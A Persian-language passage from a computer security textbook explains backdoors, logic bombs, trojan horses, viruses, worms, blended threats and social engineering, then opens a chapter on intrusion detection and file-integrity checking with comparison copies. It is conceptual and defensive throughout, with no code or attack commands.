نرم‌افزارهای آزاد هیچ ایمن‌تر از نرم‌افزارهای تجاری نیستند، هرچند این مزیت را دارند که متن برنامه برای خواندن در اختیار شما قرار دارد. اکثر ابزارهای آزاد و متن‌باز هنگام تولید به چند قسمت تقسیم می‌شوند و توسط چندین برنامه‌نویس نوشته می‌شوند و معمولاً نسخه‌های جدید این قسمتها بدون نظارت دقیق سایر اعضای گروه، مورد پذیرش آنان قرار می‌گیرند؛ و درنتیجه یک برنامه‌نویس بدخواه می‌تواند یک قطعه‌برنامهٔ کوچک مخرب را بدون اینکه بقیه متوجه شوند به برنامه اضافه کند. علاوه بر آن حتی اگر متن برنامه مورد بررسی قرار گیرد، ممکن است برخی دربهای مخفی و عملکردهای ظریف آن دیده نشوند – افراد کمی اطلاع دارند که چگونه می‌توان به دقت نرم‌افزار را بازبینی کرد و اگر فرد بازبین واقعاً علاقه‌مند به درک همهٔ اجزای برنامه نباشد ممکن است مورد مشکوکی پیدا نکند. حتی یک بازبینی مستقل نیز ممکن است کافی نباشد؛ چراکه بازبینها ممکن است تخصص اینکار را نداشته باشند، اشتباه کنند، و یا حتی این امکان وجود دارد که میان بازبین و نویسندهٔ برنامه، تبانی وجود داشته باشد!

متأسفانه بسیاری از برنامه‌های downloadشده آنقدر بزرگ هستند که نمی‌توان به یک روش معین همهٔ آنها را خواند. علاوه بر این هرچند برنامه‌های زیادی بصورت متن‌باز قابل download هستند، اما بسیاری از کاربران قطعه‌برنامه‌های پیش‌ترجمه را برای download انتخاب می‌کنند. هیچ راهی برای اطمینان از اینکه این فایلها که به زبان ماشین درآمده‌اند از روی همان متن برنامهٔ مورد ادعا تولید شده‌اند یا نه وجود ندارد.

بعنوان یک راه جایگزین برای بازبینی، می‌توانید از برنامه‌هایی استفاده کنید که پیشتر دیگران به آنها اعتماد کرده‌اند. این روش چندان مطمئن نیست، چون ممکن است برنامه دارای تهدیدی باشد که برای دیگران اتفاق نمی‌افتد ولی برای شما اتفاق بیافتد؛ یا حتی تهدید برای افراد زیادی اتفاق بیافتد، ولی کسی متوجه آن نشود.

طبق یک سیاست مناسب، نرم‌افزارهای جدید باید ابتدا روی سیستمهای غیرحساس نصب و آزمایش شوند. با اینکار فرصت می‌یابید مشکلات، ناسازگاریها و رفتارهای غیرعادی یک برنامه را تشخیص دهید. یک نرم‌افزار جدید را ابتدا روی یک سیستم تولید پویا نصب نکنید، و به هیچوجه آنرا برای بار اول با دسترسی ابرکاربر یا راهبر سیستم به اجرا در نیاورید، مگر اینکه واقعاً چارهٔ دیگری نداشته باشید.

اگر شخصی با دانش کافی در داخل سازمان شما قصد خرابکاری داشته باشد می‌تواند با استفاده از ابزارهای مختلف دربهای مخفی، *بمبهای منطقی*[۳۲۵]، و اسبهای تراوا بنویسد و آنرا مستقیماً روی سیستم هدف نصب کند. کاربران و کارمندان شما تهدید بزرگی برای امنیت سیستم شما می‌باشند: این افراد با سیستم آشنا هستند، نقاط ضعف آنرا می‌شناسند، و با سیستمهای کنترل و بازبینی موجود آشنایی دارند. کاربران مجاز معمولاً برای نوشتن و وارد کردن برنامه‌های مخرب به سیستم از دسترسی کافی برخوردارند. شاید به نظر خنده‌دار بیاید که گفته شود در بسیاری از سازمانها، شخص مسئول کنترل و بازبینی امنیت همان کسی است که اگر بخواهد می‌تواند با اجرای چند دستور، بیشترین خسارتها را به کل سیستم وارد کند. برای مدیران ارشد سیستم نیز معمولاً هیچگونه ممیزی یا سایر انواع بررسیها انجام نمی‌گیرد.

ابزارها و جعبه‌ابزارهای امنیتی

برنامه‌های زیادی نوشته شده‌اند که می‌توانند بطور خودکار آسیب‌پذیریهای امنیتی رایانه را مشخص سازند. بعضی از این برنامه‌ها رایانه‌ای که روی آن اجرا شوند را بدنبال آسیب‌پذیریهای سیستمی کاوش می‌کنند، و برخی دیگر در یک شبکه بدنبال آسیب‌پذیریهایی می‌گردند که از راه دور می‌توانند مورد بهره‌برداری قرار گیرند. گاه به این برنامه‌ها *پویشگرهای امنیتی*[۳۲۶] و یا بطور کلی‌تر "ابزارهای امنیتی" می‌گویند.

پویشگرها و سایر ابزارهای امنیتی مثل شمشیر دو لبه هستند. از یک طرف افراد حرفه‌ای می‌توانند از آنها با هدف امن‌کردن رایانه‌ها استفاده کنند؛ و از طرف دیگر نفوذگرها می‌توانند این ابزارها را برای نفوذ به سیستمها بکار برند. اگر راهبران بتوانند با این ابزارها سریعاً سیستمها را بدنبال آسیب‌پذیریهای شناخته‌شده پویش کنند، فهرستی از آسیب‌پذیریها بدست خواهند آورد که می‌توانند با برطرف کردن آنها سطح امنیت سیستم را ارتقا دهند، اما همین ابزارها به تبهکاران شخصی یا سازمانی نیز راههای ممکن برای نفوذ به سیستمها را نشان می‌دهند.

برخی ابزارهای امنیتی برای راهبران حرفه‌ای امنیت نوشته شده‌اند، هرچند مهاجمان نیز می‌توانند از آنها استفاده کنند. اما ابزارهای بیشتری در اینترنت وجود دارند که منحصراً برای کاربردهای مخرب بوجود آمده‌اند. جالب اینجاست که کیفیت بعضی از این ابزارهای مخرب بسیار بالاست؛ آنقدر بالا که راهبران حرفه‌ای نیز برای تأمین امنیت از آنها استفاده می‌کنند. ابزار nmap مثالی از این ابزارهاست که در جوامع مجرمانهٔ رایانه‌ای برای نگاشت شبکه‌ای نوشته‌شده و هم‌اکنون بطور وسیعی مورد استفادهٔ راهبران حرفه‌ای امنیت شبکه‌ها قرار دارد.

بدلیل در دسترس بودن ابزارهای امنیتی با کیفیت برای حمله، باید مراقب آسیب‌پذیریهای سیستمهای خود باشید و مرتباً بر آنها نظارت و از آنها محافظت کنید. اینکه خودتان این ابزارها را بدست آورده و اجرا کنید از مزایایی برخوردار است، ولی خطراتی نیز در پی دارد. برخی ابزارها با ملاحظات راهبری امنیت و قابل انتقال بودن نوشته نشده‌اند و ممکن است به سیستم صدمه وارد کنند. برخی ابزارهای دیگر ممکن است تله‌ای باشند برای خرابکاری مخفیانه در سیستم، درحالیکه شما فکر می‌کنید درحال جستجو بدنبال مشکلات هستید. در اجرای پویشگرهای امنیتی عجله نکنید، مگر اینکه دقیقاً بدانید آنها چه می‌کنند و چگونه می‌توانند به شما در ایمن کردن سیستمها کمک نمایند.

دربهای مخفی و تله‌ها

دربهای مخفی که به آنها تله نیز می‌گویند، قطعه‌برنامه‌هایی هستند که درون برنامه‌ها یا سیستم‌عاملها قرار داده می‌شوند و به برنامه‌نویس اجازه می‌دهند بدون انجام مراحل لازم برای تصدیق هویت، به قابلیتهای برنامه‌ها دسترسی پیدا کند. دربهای مخفی و تله‌ها سالهای زیادی است که وجود دارند و عموماً توسط برنامه‌نویسها و برای اشکال‌زدایی یا نظارت بر برنامه‌ای که می‌نویسند بوجود می‌آیند.

---

325 Logic Bombs
326 Security Scanners

اکثر دربهای مخفی در برنامه‌هایی قرار داده می‌شوند که هنگام اجرا نیاز به روالهایی طولانی برای تصدیق هویت یا ورود اطلاعات زیاد توسط کاربر دارند. در زمان اشکال‌زدایی برنامه، ممکن است برنامه‌نویس بخواهد از دسترسیهای خاصی برخوردار باشد، یا مراحل طولانی تصدیق هویت یا ورود اطلاعات را انجام ندهد. علاوه بر اینها ممکن است درصورت کار نکردن روالهای تصدیق هویت، برنامه‌نویس بخواهد از طریق خود برنامه روشی برای فعال کردن برنامه در اختیار داشته باشد. درب مخفی برنامه‌ای است که یا بر اثر ورود یک رشتهٔ خاص و یا اجرا تحت یک نام کاربری خاص، فعال می‌شود و دسترسیهای مورد نظر را اعطا می‌کند.

دربهای مخفی وقتی خطرناک می‌شوند که توسط برنامه‌نویسان نااهل برای بدست آوردن دسترسی غیرمجاز بکار گرفته شوند. همچنین اگر برنامه‌نویس اولیه پس از تکمیل برنامه فراموش کند دربهای مخفی را حذف کند و شخص دیگری پی به وجود آنها ببرد این دربهای مخفی مشکلساز می‌شوند. گاهی نیز یک مهاجم پس از نفوذ موفقیت‌آمیز به سیستم، یک درب مخفی در آن ایجاد می‌کند تا بعداً بتواند دوباره به سیستم وارد شده و امتیازات راهبری را بدست آورد.

محافظت در برابر دربهای مخفی بسیار دشوار است. بهترین دفاع این است که یکپارچگی و صحت فایلهای مهم را مرتباً بررسی کنید. علاوه بر بررسی فایلها، باید در سیستم خود به دنبال فایلهای امتیازدار و پورتهای باز TCP/IP بگردید و متناوباً مجوزها و مالکیت فایلها و شاخه‌های مهم را نیز بررسی کنید. متأسفانه امروزه می‌توان براحتی نشانه‌ها و عملکردهای نرم‌افزارهای مخرب را با ظرافت زیادی پنهان کرد. درنتیجه اگر اجازه دهید سیستم شما دستکاری شود، ممکن است دیگر هرگز نتوانید متوجه تغییرات بوجودآمده شوید.

بمبهای منطقی (تخریبهای زمانبندی‌شده)

بمبهای منطقی تهدیدات زمانبندی‌شده‌ای هستند که برای مدت‌زمان طولانی در نرم‌افزارهای معمولی پنهان می‌مانند، و زمانی که فعال شوند کاری انجام می‌دهند که متفاوت از کاری است که برنامهٔ میزبان آنها انجام می‌داده است. بمبهای منطقی معمولاً در برنامه‌های برنامه‌نویسانی پیدا می‌شوند که از دسترسی قانونی به سیستم برخوردارند.

شرایط فعال‌شدن بمبهای منطقی می‌تواند وجود یک فایل بخصوص، یک روز مشخص از هفته، و یا به اجرا درآمدن توسط یک کاربر خاص باشد. بمب منطقی ممکن است ابتدا بررسی کند چه کسانی در سیستم حضور دارند یا چه برنامه‌هایی در حال اجرا هستند. یک بمب منطقی درصورت فعال‌شدن ممکن است داده‌ها را تغییر دهد یا از بین ببرد، سیستم را از کار بیاندازد، یا صدمات دیگری به سیستم وارد آورد. یک مثال کلاسیک برای فعال‌شدن یک بمب منطقی حالتی است که یک شمارهٔ مشخصِ کارمندی برای دو دورهٔ متوالی در محاسبات حقوق ظاهر نمی‌شود (یعنی وقتیکه کارمند شرکت را ترک کرده است).

"اتمام زمان حیات" نوع خاصی از عملکرد بمبهای منطقی می‌باشد که گاهی برای اجبار پرداخت پول یا انجام سایر مفاد یک قرارداد بکار گرفته می‌شود. اتمام زمان حیات به این معنی است که پس از یک مدت زمان مشخص، اگر عمل خاصی مانند پرداخت هزینهٔ یک گواهی انجام نشود، برنامه دیگر اجرا نمی‌گردد. اتمام زمان حیات معمولاً در نرم‌افزارهایی کار گذاشته می‌شود که در مرحلهٔ آزمون نهایی برای توزیع در بازار مصرف هستند؛ تا کاربران نرم‌افزارهای آزمایشی خود را به نسخه‌های جدیدتر ارتقا دهند یا یک نسخهٔ رسمی خریداری نمایند.

محافظت در برابر بمبهای منطقی مخرب نیز مشابه دربهای مخفی است: نرم‌افزاری را بدون خواندن و تست کامل نصب نکنید. بطور منظم پشتیبان تهیه کنید تا درصورت بروز هر اتفاق ناگوار، بتوانید داده‌های خود را بازگردانید.

اسبهای تراوا

اسبهای تراوای دنیای مدرن – همانطور که از نامشان پیداست – برنامه‌هایی هستند شبیه برنامه‌هایی که کاربر از آنها استفاده می‌کند؛ مثل یک پردازهٔ ورود به سیستم، یک بازی، یا یک ویرایشگر. درحالیکه برنامه در ظاهر کار مورد نظر کاربر را انجام می‌دهد، بدون اطلاع کاربر به کار دیگری برخلاف هدف اعلام‌شده نیز می‌پردازد. مثلاً ممکن است کاربر گمان کند که یک بازی

اجرا کرده است و برنامه نیز سؤالاتی مانند "دوست دارید چه نامی روی بازیکن بگذارید؟" یا "در چه سطحی از سختی می‌خواهید بازی کنید؟" از وی بپرسد، اما عملاً درحال پاک‌کردن فایلها و قالب‌بندی مجدد یک دیسک باشد، و یا اسناد محرمانه‌ای را به یک پایگاه وب در آنسوی دنیا بفرستد. متأسفانه اسبهای تراوا در بعضی محیطها بسیار زیاد هستند. این نرم‌افزارهای مخرب معمولاً با حقه‌های مختلف در پایگاههای وب نفوذگران قرار داده می‌شوند و بعنوان نرم‌افزارهای به‌اشتراک گذاشته‌شده میان کاربران توزیع می‌گردند.

اسبهای تراوا در برنامه‌ها و قطعه‌برنامه‌های نصب‌کننده نیز دیده شده‌اند. برخی از فایلهای پوسته (بخصوص فایلهای shar)، فایلهای VBS، فایلهای awk، فایلهای perl، قطعه‌برنامه‌های sed، فایلهای TeX، فایلهای PostScript، نامه‌های با رمزگذاری MIME، و صفحات وب، همه می‌توانند حاوی دستوراتی باشند که مشکلات ناخواسته‌ای ایجاد نمایند. حتی فایلهای متنی نیز می‌توانند خطرناک باشند. بعضی ویرایشگرها این امکان را دارند که در چند خط ابتدایی یا انتهایی فایل، دستوراتی برای راه‌اندازی خودکار ویرایشگر در فایلهای مربوط به آن قرار دهند. (برای اطلاع از روش غیرفعال کردن این ویژگی به مستندات ویرایشگر مورد استفادهٔ خود رجوع کنید.)

اگر برای اولین بار قطعه‌برنامه‌ای را اجرا می‌کنید یا فایلهایی را غیرفشرده می‌نمایید، بهتر است اینکار را روی یک ماشین مجزا در قرنطینه یا در محیطی محدود انجام دهید تا جلوی دسترسی آن بستهٔ نرم‌افزاری را به فایلها و شاخه‌های خارج از محیط کاری خودش بگیرید (در Unix این کار با دستور سیستمیِ ()chroot انجام پذیر است.)

شکل دیگری از اسبهای تراوا می‌تواند با بهره‌گیری از *دستور ارسال بلوکی*[۳۲۷] یا *حالات بازگو*[۳۲۸] در پایانه‌های سریال محصول دهه‌های ۱۹۷۰ و ۱۹۸۰ (که توسط بسیاری از برنامه‌های شبیه‌ساز پایانه از جمله HyperTerminal محصول مایکروسافت شبیه‌سازی شده‌اند) کار کنند. بسیاری از گونه‌های پایانه‌ها تنظیماتی دارند که طبق آنها یک رشته کاراکترهای خاص کنترلی می‌تواند باعث شود که یک دستور از راه دور به اجرا در آید؛ آنچنان که گویی آن دستور با استفاده از صفحه‌کلید وارد شده است. بنابراین یک دستور که درون یک نامهٔ الکترونیکی قرار دارد ممکن است باعث شود پایانه یک فرمان مبنی بر "پاک کردن همهٔ فایلها و خروج از سیستم" به سیستم‌عامل بفرستد، و سپس یک رشته برای "پاک کردن صفحه" نیز برای خود پایانه ارسال کند. این ویژگی را در پایانه یا برنامهٔ شبیه‌ساز خود غیرفعال کنید.

ویروسها

یک ویروس واقعی برنامه‌ای است که به سایر برنامه‌های اجرایی اضافه می‌شود. درنتیجه هرگاه برنامهٔ عادی اجرا شود، برنامهٔ ویروس نیز به اجرا در می‌آید. برنامهٔ ویروس باعث اضافه شدن یک نسخه از خودش در یک یا چند برنامهٔ دیگر می‌گردد. ویروسها نمی‌توانند برنامه‌های مستقلی باشند – یعنی نمی‌توانند به تنهایی اجرا شوند، بلکه برای اجرا نیاز به یک میزبان دارند تا بعنوان بخشی از آن به اجرا در آیند.

تقریباً تمام ویروسها، رایانه‌های شخصی دارای سیستم‌عاملهای پرکاربرد (مانند MS DOS، Microsoft Windows و Apple MacOS) را هدف قرار می‌دهند. ویروسها می‌توانند در سیستم‌عاملهایی که مکانیزمهای امنیتی کمی دارند (مانند DOS و MacOS نسخه‌های قبل از ویرایش ۱۰) و همچنین آنهایی که از مکانیزمهای امنیتی پیشرفته‌ای برخوردارند (مثل Windows NT و Windows XP) انتشار یابند. برای سیستمهای Unix هم ویروسهایی نوشته شده است. حتی ویروسهایی نوشته شده‌اند که می‌توانند هم سیستمهای Windows و هم سیستمهای مبتنی بر Unix را آلوده سازند. ویروسهایی که boot sector را آلوده می‌کنند، درصورتیکه بتوانند یک دیسکت راه‌اندازی را آلوده کنند، می‌توانند سیستمهای مبتنی بر BSD یا Linux را نیز براحتیِ سیستمهای Windows آلوده نمایند (هرچند این آلودگی نمی‌تواند بیش از آن گسترش یابد).

---

327 Block-Send Command
328 Answerback Modes

ویروسها ابزار قدرتمندی برای مهاجمان هستند. هرچند هر کاری که توسط ویروس انجام می‌شود از راههای دیگر نیز قابل انجام است، ولی ویروسها قادرند بدون دخالت یا هدایت مهاجم گسترش یابند و حتی می‌توانند به مناطقی دسترسی پیدا کنند که مهاجم شخصاً نمی‌تواند به آنها دسترسی داشته باشد.

برای محافظت در برابر ویروسها می‌توانید از همان فنون مقابله با دربهای مخفی و برنامه‌های رمزشکن استفاده کنید. در سیستمهای Intel نباید سیستم را با استفاده از دیسکهای غیر قابل اعتماد راه‌اندازی نمایید. درحال حاضر نرم‌افزارهای ضدویروس یک نیاز اساسی برای رایانه‌های خانگی و شرکتها محسوب می‌شوند، اما با این وجود تعداد رایانه‌های فاقد ضدویروس بیش از رایانه‌های مجهز به آن است. مسئله دیگری که به همین اندازه نگران‌کننده می‌باشد این است که بسیاری از کسانیکه نرم‌افزار ضدویروس تهیه می‌کنند، نشانهای ویروس آنرا هر از چندگاه به‌روزرسانی نمی‌نمایند، و عملاً کارایی نرم‌افزار خود را در مقابل تهدیدات جدید به حداقل می‌رسانند.

کرمها

کرمها برنامه‌هایی هستند که می‌توانند بطور مستقل اجرا شوند و با استفاده از اتصالات شبکه از یک رایانه به یک رایانهٔ دیگر منتقل شوند؛ یا حتی ممکن است قسمتهای مختلف یک کرم روی رایانه‌های متفاوتی اجرا شوند. کرمها سایر برنامه‌ها را تغییر نمی‌دهند، هرچند ممکن است حاوی برنامه‌ای باشند که اینکار را انجام دهد (مثل یک ویروس). صدها کرم شبکه‌ای برای سیستم‌عاملهای مختلف بوجود آمده‌اند. شاید بتوان گفت که شایعترین کرمها از طریق نامهٔ الکترونیکی منتشر می‌شوند. این کرمها معمولاً آدرسهای پستی دیگران را از دفترچهٔ آدرسهای سیستم آلوده بدست می‌آورند و خود را بعنوان پیام مهمی از طرف صاحب سیستم آلوده (یا حتی از طرف سایر افرادی که نامشان در دفترچهٔ آدرسهای صاحب سیستم آلوده وجود دارد) به آنها می‌فرستند.

محافظت در برابر کرمها مستلزم همان فنون مقابله با نفوذ است. اگر مهاجم بتواند به ماشین شما وارد شود، یک کرم هم می‌تواند. اگر رایانهٔ شما در برابر دسترسی غیرمجاز ایمن باشد، طبیعتاً در برابر کرمها نیز امنیت خواهد داشت. تمام توصیه‌هایی که در مورد جلوگیری از دسترسی غیرمجاز ارائه شد اینجا نیز قابل اعمال هستند.

اگر تردید داشتید که توسط یک کرم شبکه‌ای مورد حمله قرار گرفته‌اید، با *مراکز واکنش به رخدادهای رایانه‌ای*[۳۲۹] تماس بگیرید و ببینید آیا دیگران نیز گزارشات مشابهی داده‌اند یا خیر. درصورت وقوع حادثه می‌توانید از این طریق اطلاعات مفیدی برای محافظت یا بازیابی سیستم خود بدست آورید. اتصال اینترنت شبکهٔ خود را قطع کنید تا شبکهٔ محلی شما ایزوله شود. اگر واقعاً کرمی به سیستمهای شما رخنه کرده باشد، با اینکار در جلوگیری از گسترش آن کمک کرده‌اید و همچنین جلوی ارسال اطلاعات مهم به خارج از شبکهٔ محلی خود را گرفته‌اید. اگر پشتیبان‌گیری و سایر تدابیر امنیتی را بخوبی پیاده‌سازی کرده باشید، خسارتهای وارده به شما باید ناچیز باشد.

تهدیدات چندوجهی

بیشتر تهدیدهای برنامه‌ریزی‌شدهٔ جدید و خطرناکترین آنها "تهدیدات چندوجهی" هستند. یک تهدید چندوجهی، حمله‌ای برنامه‌ای است که ویژگیهای چند نوع مختلف حمله را ترکیب می‌کند و از طرق مختلفی منتشر می‌شود. یک تهدید چندوجهی می‌تواند یک کرم شبکه‌ای باشد که از طریق نامهٔ الکترونیکی با فرستادن نسخه‌هایی از خودش به آدرسهای موجود در دفترچهٔ آدرسهای رایانهٔ آلوده، و یا از طریق اشتراک فایل با سایر سیستمهای متصل منتشر می‌شود. پس از آلودن سیستم، یک درب مخفی برای ورود مجدد به آن، یک zombie برای آغاز یک حملهٔ تخریب سرویس توزیع‌شده در آینده، و نیز یک بمب منطقی برای انجام یک تخریب زمانبندی‌شده ایجاد می‌کند. دفاع در برابر تهدیدات چندوجهی مشابه دفاع در برابر تهدیدات تک‌وجهی است، با این تفاوت که باید تمام جهات را با هم در نظر گرفت: بهترین راه مقابله با آنها استفاده از یک سیستم دفاعی چندلایه است.

329 Computer Incident Response Centers

مهندسی اجتماعی

در بسیاری از سیستمهای رایانه‌ای این امکان وجود دارد که با سوء استفاده از برخی اشکالات و آسیب‌پذیریها، دسترسیهای یک کاربر عادی را به ابرکاربر یا راهبر سیستم افزایش داد. درنتیجه یک مهاجم زبده در بسیاری از سیسمتها می‌تواند یک نام کاربری و رمز عبور عادی را به سرقت ببرد، و سپس کنترل کامل سیستم را با استفاده از این روش بدست آورد.

یکی از رایجترین راههای بدست آوردن یک نام کاربری و رمز عبور استفاده از فنون "مهندسی اجتماعی" است. مهندسی اجتماعی یکی از ساده‌ترین و مؤثرترین ابزارهای کسب دسترسی غیرمجاز به سیستمهای رایانه‌ای می‌باشد. برای انجام یک حملهٔ مهندسی اجتماعی، معمولاً مهاجم به سازمان مقصد تلفن می‌زند و سعی می‌کند از طریق برقراری روابط اجتماعی، در مورد سازمان اطلاعاتی بدست آورد. بعنوان مثال ممکن است مهاجم تظاهر کند که از کاربران جدید است و رمز عبور خود را فراموش کرده، و بخواهد که رمز عبورش تغییر داده شود. یا ممکن است تظاهر کند که نمایندهٔ یک سرویس خدماتی است و برای پشتیبانی نیاز دارد که رمز عبور راهبر سیستم را تغییر دهد. حملات مهندسی اجتماعی معمولاً مؤثر واقع می‌شوند، چون عموم مردم می‌خواهند در حل مشکلات سهیم باشند. در واقع قرار گرفتن در مسیر این حملات را می‌توان معادلِ رایانه‌ایِ بازیهای اعتماد به نفس دانست.

مهندسی اجتماعی را می‌توان بطور خودکار انجام داد. تعداد زیادی برنامه‌های به اصطلاح "phishing" وجود دارند که یکجا به هزاران یا دهها هزار کاربر، یک نامهٔ الکترونیکی مبتنی بر یکی از فنون مهندسی اجتماعی می‌فرستند. برخی برنامه‌ها درخواست دریافت نام کاربری و رمز عبور می‌کنند و برخی دیگر نیز درخواست شماره‌های معتبر کارتهای اعتباری.

مؤثرترین روش مقابله با مهندسی اجتماعی تهیهٔ یک برنامهٔ آموزشی فشرده و جدی برای کاربران است. به کاربران باید آموزش داد (و متناوباً به آنها یادآوری کرد) که هیچگاه به کسی که او را بعنوان کارمند مجاز بخش امنیتی سازمان نمی‌شناسند اطلاعات امنیتی ندهند، و حتی در آنصورت هم اطلاعات را تنها به خود شخص بدهند. به کاربران باید گفته شود که هیچیک از کارمندان امنیتی هیچگاه از آنان نخواهد خواست که رمز عبور، شمارهٔ کارت اعتباری، یا سایر عناصر مکفی برای تصدیق هویت را فاش سازند؛ و کاربران درصورت دریافت چنین پیامهایی باید موارد را سریعاً به افراد مسئول گزارش دهند.

فصل نهم
کشف و مدیریت نفوذ

کلیات

علیرغم تلاشهای بسیار، ممکن است سیستم شما مورد دستکاری قرار گیرد. در این فصل به بحث در مورد تدابیری چون بازبینی، ثبت وقایع، و انجام اقدامات قانونی برای کشف دستکاریها و تشخیص تغییرات می‌پردازیم و مرحله به مرحله راه بدست‌گیری مجدد کنترل رایانه را به شما نشان خواهیم داد.

ممیزی و ثبت وقایع

بعد از نصب سیستمهای دفاعی روی رایانه، باید مطمئن شوید که این سیستمهای دفاعی به درستی عمل می‌کنند، و همچنین باید از هرگونه رفتار غیرعادی و سایر مشکلات آگاهی یابید. این فرآیند را نظارت یا ممیزی می‌نامند. دو نوع متداول ممیزی عبارتند از: بررسی جامعیت فایلها، و بررسی فایلهای ثبت سیستمی.

بررسی یکپارچگی و صحت فایلها

بررسی یکپارچگی و صحت فایلها در یک سیستم می‌تواند دلایل بیشماری داشته باشد، اما یکی از اصلی‌ترین دلایل آن تشخیص تغییرات بوجودآمده بعد از یک حملهٔ نفوذ یا دستکاری است. اصولاً سه راه برای کشف تغییرات در یک فایل وجود دارد:

۱. استفاده از نسخه‌های ثانویه داده‌ها و مقایسهٔ آنها با نسخه‌های اصلی؛ که مطمئن‌ترین راه محسوب می‌گردد؛
۲. نظارت بر *فراداده‌ها*[۳۳۰] در مورد اقلامی که باید محافظت شوند؛ شامل زمان تغییر اقلام، که بوسیلهٔ سیستم‌عامل نگهداری می‌شوند، و نیز تمام ثبتها یا سلسله‌های ممیزی که تغییرات فایلها را مشخص می‌کند؛ و
۳. استفاده از نوعی امضا برای داده‌های تحت نظارت و محاسبهٔ دوره‌ای و مقایسهٔ امضاها با یک مقدار ذخیره‌شده.

هریک از این روشها دارای فواید و مضراتی هستند. در هر کدام از این روشها راههای زیادی برای بررسی یک سیستم که دستکاری شدن آن مورد تردید است وجود دارد:

- دیسک سخت را بطور فیزیکی از روی رایانهٔ مورد نظر خارج کنید، دیسک را به یک رایانهٔ دیگر بعنوان یک دیسک کمکی وصل کنید، رایانهٔ دوم را راه‌اندازی نمایید، دیسک را بصورت فقط خواندنی mount کنید، و سپس سیستم‌عامل رایانهٔ دوم را برای بررسی دیسک مورد استفاده قرار دهید (یا اینکه برای انجام بررسی، عیناً یک نسخهٔ دوم از روی دیسک تهیه کنید).
- دیسک مشکوک را در رایانهٔ مشکوک باقی بگذارید، اما رایانهٔ مشکوک را با یک سیستم‌عامل مطمئن از دیسک فشرده یا دیسک فلاپی راه‌اندازی کنید. سپس تنها با استفاده از ابزارهای روی دیسک فشرده یا دیسک فلاپی می‌توانید دیسک مشکوک را بصورت فقط‌خواندنی mount کنید و سیستمِ فایلِ احتمالاً دستکاری‌شدهٔ آنرا تجزیه و تحلیل نمایید.
- به رایانهٔ مشکوک وارد شوید و هر ابزار بررسی یکپارچگی و صحتی که روی آن نصب بود را به اجرا در آورید.

330 Metadata

واضح است که کاملترین راه برای بررسی سیستم مشکوک، همان روش اول می‌باشد. روش سوم رایجترین راهکار اما در عمل ناکافی است؛ چراکه اگر واقعاً مهاجمی رایانهٔ شما را دستکاری کرده باشد، به هیچ چیز آن نمی‌توان اعتماد کرد؛ که این مسئله شامل نرم‌افزارهای بررسی یکپارچگی و صحت، و پایگاههای داده نیز می‌شود.

نسخه‌های مقایسه‌ای (نسخه‌های ثانویه)

درصورت نیاز مطمئن‌ترین و راحت‌ترین روش کشف تغییرات داده‌ها نگهداری یک نسخه از داده‌های تغییرنیافته و مقایسهٔ بایت به بایت آنها با داده‌های روزمره است. اگر اختلافی میان این دو نسخه مشاهده شود نه تنها بیانگر دستکاری‌شدن داده‌ها است، بلکه تغییرات بوجود آمده را نیز نشان می‌دهد.

اما استفاده از نسخه‌های مقایسه‌ای پرهزینه و دشوار است. برای اینکار باید از هر فایل مهم یک نسخهٔ ثانویه نگهدارید. این روش نه‌تنها نیازمند فضایی معادل دو برابر حجم این فایلها است، بلکه ممکن است باعث تخطی از ضوابطی چون حق مالکیت گواهی یا حق نسخه‌برداری از فایلها گردد. (معمولاً قوانین "حق نسخه‌برداری" به شما اجازهٔ نگهداری تنها یک نسخه را در بایگانی می‌دهند.)[۳۳۱] استفاده از روش نسخه‌برداری برای مقایسه، به معنی خواندن کامل هر دوی فایلهای اصلی و نسخهٔ ثانویه بصورت بایت به بایت برای هر بار بررسی می‌باشد، و البته از نسخهٔ ثانویه نیز باید در محل امنی نگهداری کرد.

حتی با وجود این معایب، استفاده از روش نسخه‌های مقایسه‌ای یک مزیت ویژه دارد و آن اینکه اگر تغییر غیرمجازی مشاهده کردید، براحتی می‌توانید نسخهٔ تغییریافته را با نسخهٔ اصلی آن جایگزین کنید و به این ترتیب سیستم را به وضعیت عادی باز گردانید. از این نسخه‌ها – همانطور که در بخشهای بعدی توصیح خواهیم داد – می‌توان بطور محلی، در پایگاههای راه دور، یا روی شبکه نگهداری کرد.

نسخه‌های محلی

یک روش استاندارد برای نگهداری نسخه‌های مقایسه‌ای، گذاشتن آنها روی دیسکی دیگر خصوصاً رسانه‌های قابل حمل است. بسیاری از افراد گفته‌اند که با ذخیرهٔ فایلهای حیاتی سیستم روی رسانه‌های قابل حمل توانسته‌اند یکپارچگی و صحت فایلها را برقرار سازند.[۳۳۲] اگر در مورد فایل خاصی شبهه‌ای بوجود آید، دیسک مربوطه در دیسک‌گردان قرار داده می‌شود، mount می‌شود و عمل مقایسه انجام می‌پذیرد. اگر در پیکربندی این دیسکها دقت کافی به خرج دهید می‌توانید از این مزیت با ارزش بهره‌مند شوید که اگر سیستم شما در اثر یک حمله یا بصورت تصادفی دستکاری شود یک نسخهٔ کامل از سیستم خود برای راه‌اندازی را در اختیار دارید. انجام پشتیبان‌گیری منظم روی رسانه‌های قابل حمل یا یکبار نوشتنی مثل نوارها و دیسکهای فشرده نیز از همین مزایا برخوردارند.

یک روش دیگر برای ذخیرهٔ نسخه‌های ثانویه، تهیهٔ نسخه‌هایی از فایلها در قسمت دیگری از دیسک می‌باشد. می‌توانید این نسخه را فشرده‌سازی و یا رمزگذاری کنید تا حجم دیسک مصرفی را کاهش دهید و در برابر استراق‌سمع نیز از آن محافظت نمایید. اشکال فشرده‌سازی و رمزگذاری این است که برای انجام مقایسه، به پردازش اضافی نیاز دارد. اگر بخواهید یکبار در روز (یا بیش از آن) این مقایسه را انجام دهید ممکن است این فعالیت اضافه آثار جانبی زیادی به بار بیاورد. علاوه بر آن نمی‌توانید از برنامهٔ رمزگذاری با این روش محافظت بعمل آورید.

نسخه‌های راه دور

روش سوم استفاده از نسخه‌های مقایسه‌ای، ذخیرهٔ آنها روی رایانه‌ها و پایگاههای راه دور است به نحوی که بدون حضور فیزیکی در محل و از راه دور قابل دسترسی باشند. برای نمونه می‌توانید یک نسخه از تمام فایلهای سیستم را در یک partition از دیسک

---

۳۳۱ *قوانین مربوط به حق نسخه‌برداری – و بسیاری از گواهی‌ها – به شما اجازهٔ نسخه‌برداری برای پشتیبانی را نمی‌دهند.*

۳۳۲ *توجه داشته باشید که این توصیف مربوط به یک دیسک مبتنی بر firewire خارجی می‌باشد.*

